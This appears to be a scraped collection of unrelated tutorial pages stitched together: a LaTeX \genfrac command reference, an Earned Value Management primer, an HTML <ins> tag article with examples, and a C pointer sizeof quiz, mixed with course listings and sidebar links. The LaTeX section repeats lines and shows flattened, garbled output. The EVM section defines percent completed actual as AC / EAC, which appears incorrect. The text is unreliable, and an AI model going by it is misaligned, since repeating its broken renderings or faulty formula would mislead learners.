Output: 
 
surinderdawra388
Python-projects
python-utility
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Read a file line by line in Python
How to Install PIP on Windows ?
Enumerate() in Python
Different ways to create Pandas Dataframe
Iterate over a list in Python
Python String | replace()
Reading and Writing to text files in Python
*args and **kwargs in Python
Create a Pandas DataFrame from Lists
\genfrac - Tex Command

\genfrac - represents the most general command for defining fractions with optional delimiters, line thickness, and specified style.
{ \genfrac #1 #2 #3 #4 #5 #6  }

0 denotes \displaystyle
1 denotes \textstyle
2 denotes \scriptstyle
3 denotes \scriptscriptstyle

0 denotes \displaystyle
0 denotes \displaystyle
1 denotes \textstyle
1 denotes \textstyle
2 denotes \scriptstyle
2 denotes \scriptstyle
3 denotes \scriptscriptstyle
3 denotes \scriptscriptstyle
\genfrac command represents the most general command for defining fractions with optional delimiters, line thickness, and specified style.

\genfrac(]{0pt}{2}{a+b}{c+d}

(a+bc+d]



\genfrac(]{0pt}{2}{a+b}{c+d}

(a+bc+d]


\genfrac(]{0pt}{2}{a+b}{c+d}

    14 Lectures 
     52 mins

 Ashraf Said

    11 Lectures 
     1 hours 

 Ashraf Said

    9 Lectures 
     1 hours 

 Emenwa Global, Ejike IfeanyiChukwu

    29 Lectures 
     2.5 hours 

 Mohammad Nauman

    14 Lectures 
     1 hours 

 Daniel Stern

    15 Lectures 
     47 mins

 Nishant Kumar
 Print
 Add Notes
 Bookmark this page
EVM - Basic Elements

EVM consists of the following three basic elements:
Planned Value
Actual Cost
Earned Value
All the three elements are captured on a regular basis as of a reporting date.
Planned value (PV) is also referred to as Budgeted Cost of Work Scheduled (BCWS). PV or BCWS is the total cost of the work scheduled/planned as of a reporting date.
It is calculated as:
PV or BCWS = Hourly Rate × Total Hours Planned or Scheduled

NOTE: Hourly Rate is the rate at which effort will be valued.
Actual cost (AC) is also referred to as Actual Cost of Work Performed (ACWP). AC or ACWP is the total cost taken to complete the work as of a reporting date.
It is calculated as:
AC or ACWP = Hourly Rate × Total Hours Spent

Earned value (EV) is also referred to as Budgeted Cost of Work Performed (BCWP). EV or BCWP is the total cost of the work completed/performed as of a reporting date.
It is calculated as:
EV or BCWP = Baselined Cost × % Complete Actual

All these three elements can be derived from Work Breakdown Structure by associating the costs to each of the tasks. For a big project, it will be a tedious task to calculate these elements manually. Scheduling software tools like Microsoft Project is used to calculate these three elements.
NOTE: % Completed Planned and % Completed Actual are defined below.
The percentage of work which was planned to be completed by the Reporting Date. It is calculated using the following formula:
% Completed Planned = PV / BAC

The percentage of work which was actually completed by the Reporting Date. It is calculated using the following formula:
% Completed Actual = AC / EAC 


    136 Lectures 
     11 hours 

 In28Minutes Official

    288 Lectures 
     25 hours 

 In28Minutes Official

    14 Lectures 
     57 mins

 Kaushik Roy Chowdhury

    64 Lectures 
     10.5 hours 

 Eduonix Learning Solutions

    56 Lectures 
     12.5 hours 

 Eduonix Learning Solutions

    53 Lectures 
     9 hours 

 Anshul Chauhan
 Print
 Add Notes
 Bookmark this page
HTML <ins> Tag

17 Mar, 2022
The <ins> tag in HTML is used to specify a block of inserted text. The <ins> tag is typically used to mark a range of text that has been added to the document. The inserted text is rendered as underlined text by the web browsers although this property can be changed using CSS text-decoration property. The <ins> tag requires a starting and ending tag. 
Syntax:
<ins> Contents... </ins>
Attributes: 
cite: It is used to specify the URL of the document or message which denotes the reason of inserting the text.
datetime: It is used to specify the date and time of the inserted text. The datetime is inserted in the format YYYY-MM-DDThh:mm:ssTZD.
Example 1: This example describe the use of <ins> tag. 
html
<!DOCTYPE html><html>  <body>    <h1>GeeksforGeeks</h1>      <h2>HTML ins Tag</h2>      <p>        GeeksforGeeks is a <del>mathematical</del>        <ins>computer</ins> science portal    </p></body>  </html>
Output:  
Example 2: This example uses the <ins> tag with the datetime attribute and also use some CSS styles.  
html
<!DOCTYPE html><html>  <head>    <style>        del {            color: red;        }                  ins {            color: green;        }    </style></head>  <body>    <h1>GeeksforGeeks</h1>      <h2>HTML ins Tag</h2>      <p>        GeeksforGeeks is a <del>mathematical</del>        <ins datetime="2018-11-21T15:55:03Z">            computer        </ins> science portal    </p></body>  </html>
Output:  
Supported Browsers: 
Google Chrome
Internet Explorer
Firefox
Opera
Safari
ghoshsuman0129
HTML-Tags
HTML
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to update Node.js and NPM to next version ?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
How to insert spaces/tabs in text using HTML/CSS?
REST API (Introduction)
Hide or show elements in HTML using display property
How to set the default value for an HTML <select> element ?
How to set input type date in dd-mm-yyyy format using HTML ?
CSS to put icon inside an input element in a form
Types of CSS (Cascading Style Sheet)
HTTP headers | Content-Type
C | Pointer Basics | Question 4

04 Feb, 2013
Consider a compiler where int takes 4 bytes, char takes 1 byte and pointer takes 4 bytes.
#include <stdio.h>  int main(){    int arri[] = {1, 2 ,3};    int *ptri = arri;      char arrc[] = {1, 2 ,3};    char *ptrc = arrc;      printf("sizeof arri[] = %d ", sizeof(arri));    printf("sizeof ptri = %d ", sizeof(ptri));      printf("sizeof arrc[] = %d ", sizeof(arrc));    printf("sizeof ptrc = %d ", sizeof(ptrc));      return 0;}
(A) sizeof arri[] = 3sizeof ptri = 4sizeof arrc[] = 3sizeof ptrc = 4(B) sizeof arri[] = 12sizeof ptri = 4sizeof arrc[] = 3sizeof ptrc = 1(C) sizeof arri[] = 3sizeof ptri = 4sizeof arrc[] = 3sizeof ptrc = 1(D) sizeof arri[] = 12sizeof ptri = 4sizeof arrc[] = 3sizeof ptrc = 4Answer: (D)Explanation: Size of an array is number of elements multiplied by the type of element, that is why we get sizeof arri as 12 and sizeof arrc as 3. Size of a pointer is fixed for a compiler. All pointer types take same number of bytes for a compiler. That is why we get 4 for both ptri and ptrc.
C-Pointers
Pointers
C Language
C Quiz
Pointers
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Substring in C++
Multidimensional Arrays in C / C++
Function Pointer in C
Left Shift and Right Shift Operators in C/C++
Different Methods to Reverse a String in C++
Compiling a C program:- Behind the Scenes
Operator Precedence and Associativity in C
C | Storage Classes and Type Qualifiers | Question 1
C | Dynamic Memory Allocation | Question 7
Output of C programs | Set 64 (Pointers)